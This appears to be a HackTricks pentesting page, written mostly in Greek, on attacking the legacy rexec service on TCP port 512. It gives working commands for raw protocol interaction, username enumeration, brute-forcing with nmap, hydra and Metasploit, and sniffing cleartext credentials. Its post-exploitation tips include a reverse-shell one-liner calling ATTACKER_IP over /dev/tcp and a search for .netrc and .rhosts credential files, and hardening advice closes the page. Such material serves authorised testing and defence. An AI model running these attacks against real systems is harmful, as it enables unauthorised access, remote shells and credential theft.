512 - Pentesting Rexec
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικές Πληροφορίες
Το Rexec (remote exec) είναι ένα από τα αρχικά πακέτα Berkeley r-services (μαζί με τα rlogin, rsh, …). Παρέχει δυνατότητα εξ αποστάσεως εκτέλεσης εντολών που επιβεβαιώνεται μόνο με όνομα χρήστη και κωδικό σε απλό κείμενο. Το πρωτόκολλο ορίστηκε στις αρχές της δεκαετίας του 1980 (βλ. RFC 1060) και σήμερα θεωρείται ανασφαλές εκ κατασκευής. Παρ’ όλα αυτά, εξακολουθεί να είναι ενεργοποιημένο από προεπιλογή σε ορισμένο legacy UNIX / network-attached εξοπλισμό και εμφανίζεται περιστασιακά κατά τη διάρκεια internal pentests.
Προεπιλεγμένη Θύρα: TCP 512 (exec)
PORT STATE SERVICE
512/tcp open exec
🔥 Όλη η κίνηση – συμπεριλαμβανομένων των credentials – μεταδίδεται μη κρυπτογραφημένη. Οποιοσδήποτε με τη δυνατότητα να υποκλέψει το δίκτυο μπορεί να ανακτήσει το username, password και command.
Γρήγορη επισκόπηση πρωτοκόλλου
- Client connects to TCP 512.
- Client sends three NUL-terminated strings:
- τον αριθμό port (ως ASCII) όπου επιθυμεί να λαμβάνει stdout/stderr (συνήθως
0), - το username,
- το password.
- Αποστέλλεται μια τελική NUL-terminated συμβολοσειρά με το command που θα εκτελεστεί.
- Ο server απαντά με ένα ενιαίο 8-bit status byte (0 = success,
1= failure) ακολουθούμενο από την έξοδο του command.
If the first field is non-zero, the server opens a second TCP connection back to the client and uses it for stderr. This is useful both for manual testing and for fingerprinting filtering / firewall issues around the service.
That means you can reproduce the exchange with nothing more than echo -e and nc:
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
Εάν τα credentials είναι valid, θα λάβετε την έξοδο του id απευθείας πίσω στην ίδια connection.
Αν θέλετε να λαμβάνετε stderr σε έναν dedicated listener, ζητήστε από τον server να connect back σε εσάς:
nc -lvnp 4444
printf '4444\0user\0password\0id; uname -a\0' | nc <target> 512
Πολλές κοινές υλοποιήσεις (για παράδειγμα GNU rexecd) εξακολουθούν να επιβάλλουν 16-byte username/password fields και επιστρέφουν different diagnostic strings για invalid usernames σε αντίθεση με invalid passwords. Αυτό έχει σημασία κατά την enumeration, επειδή κάποιοι targets leak για το αν ο λογαριασμός υπάρχει πριν ξεκινήσετε brute forcing.
Χειροκίνητη χρήση με τον client
Πολλές διανομές Linux εξακολουθούν να περιλαμβάνουν τον legacy client μέσα στο πακέτο inetutils-rexec / rsh-client:
rexec -l user -p password <target> "uname -a"
Εάν το -p παραλειφθεί, ο client θα ζητήσει αλληλεπιδραστικά το password (visible on the wire in clear-text!).
Για να αποφύγετε να αφήσετε το password στο shell history / process list, το GNU rexec υποστηρίζει επίσης την ανάγνωσή του από stdin:
printf '%s\n' 'password' | rexec -l user -p - <target> "id"
Αυτό δεν είναι πιο ασφαλές στο δίκτυο· μειώνει μόνο την τοπική έκθεση στον attacking host.
Εντοπισμός & Brute-forcing
Brute-force
Nmap
nmap -sV -p 512 <target>
# Confirm the classic exec service before credential attacks
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
Το rexec-brute NSE χρησιμοποιεί το πρωτόκολλο που περιγράφεται παραπάνω για να δοκιμάσει διαπιστευτήρια πολύ γρήγορα.
Hydra / Medusa / Ncrack
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
hydra έχει ένα αφιερωμένο rexec module και παραμένει ο ταχύτερος offline bruteforcer. medusa (-M REXEC) και ncrack (rexec module) μπορούν να χρησιμοποιηθούν με τον ίδιο τρόπο.
Username enumeration μέσω μηνυμάτων διακομιστή
Μερικές υλοποιήσεις του rexecd εμφανίζουν διακριτά σφάλματα όπως Login incorrect. vs Password incorrect.. Αν δείτε αυτή τη συμπεριφορά, επαληθεύστε πρώτα τα usernames και μόνο μετά κάντε brute force στα passwords:
printf '0\0root\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
printf '0\0definitelynotreal\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
Αν τα μηνύματα διαφέρουν, δημιουργήστε μια λίστα έγκυρων χρηστών πριν στείλετε ένα μεγάλο password spray.
Ελέγξτε τις συγγενικές υπηρεσίες r
rexec από μόνο του χρησιμοποιεί πιστοποίηση με κωδικό πρόσβασης, σε αντίθεση με τη λογική trusted-host του rsh / rlogin, αλλά στην πράξη συχνά προέρχονται από το ίδιο legacy πακέτο (openbsd-inetd, inetutils, πακέτα προμηθευτή UNIX). Αν η θύρα TCP 512 είναι ανοιχτή, ελέγξτε άμεσα τις TCP 513 και 514 επίσης, γιατί η κατάχρηση των .rhosts / /etc/hosts.equiv μπορεί να προσφέρει ευκολότερο lateral movement:
nmap -sV -p 512,513,514 <target>
Δείτε επίσης:
Metasploit
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
Το module θα spawn a shell σε περίπτωση επιτυχίας και θα αποθηκεύσει τα credentials στη βάση δεδομένων.
Sniffing credentials
Επειδή όλα είναι σε απλό κείμενο, network captures are priceless. Με ένα αντίγραφο της κίνησης μπορείτε να εξάγετε creds χωρίς να αγγίξετε τον στόχο:
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
(In Wireshark enable Decode As … TCP 512 → REXEC για να δείτε καλά-αναλυμένα πεδία.)
Post-Exploitation tips
- Οι εντολές εκτελούνται με τα προνόμια του χρήστη που παρέχεται. Εάν
/etc/pam.d/rexecείναι λανθασμένα διαμορφωμένο (π.χ.pam_rootok), root shells είναι μερικές φορές δυνατά. - Rexec αγνοεί το shell του χρήστη και εκτελεί την εντολή μέσω
/bin/sh -c <cmd>. Επομένως μπορείτε να χρησιμοποιήσετε τυπικά shell-escape τεχνάσματα (;,$( ), backticks) για να αλυσοδέσετε πολλαπλές εντολές ή να spawnάρετε reverse shells:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
- Οι κωδικοί πρόσβασης συχνά αποθηκεύονται σε
~/.netrcή σε legacy automation scripts σε άλλα συστήματα· αν compromise έναν host μπορεί να τους επαναχρησιμοποιήσετε για lateral movement:
find / -xdev \( -name .netrc -o -name netrc -o -iname '*rexec*' -o -path '*/.rhosts' \) 2>/dev/null
Σκληραγώγηση / Ανίχνευση
- Do not expose rexec; αντικαταστήστε το με SSH. Σχεδόν όλοι οι σύγχρονοι inetd superservers σχολιάζουν την υπηρεσία από προεπιλογή.
- Εάν πρέπει να το διατηρήσετε, περιορίστε την πρόσβαση με TCP wrappers (
/etc/hosts.allow) ή κανόνες firewall και επιβάλετε ισχυρούς κωδικούς ανά λογαριασμό. - Παρακολουθείστε για κίνηση προς :512 και για εκκινήσεις διεργασίας
rexecd. Μία μόνο packet capture αρκεί για να εντοπιστεί ένα compromise. - Απενεργοποιήστε
rexec,rlogin,rshμαζί – μοιράζονται το μεγαλύτερο μέρος της ίδιας βάσης κώδικα και των ευπαθειών.
Αναφορές
- GNU Inetutils
rexecd/rexecτεκμηρίωση – https://www.gnu.org/software/inetutils/manual/html_node/rexecd-invocation.html - Nmap NSE
rexec-bruteτεκμηρίωση – https://nmap.org/nsedoc/scripts/rexec-brute.html
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


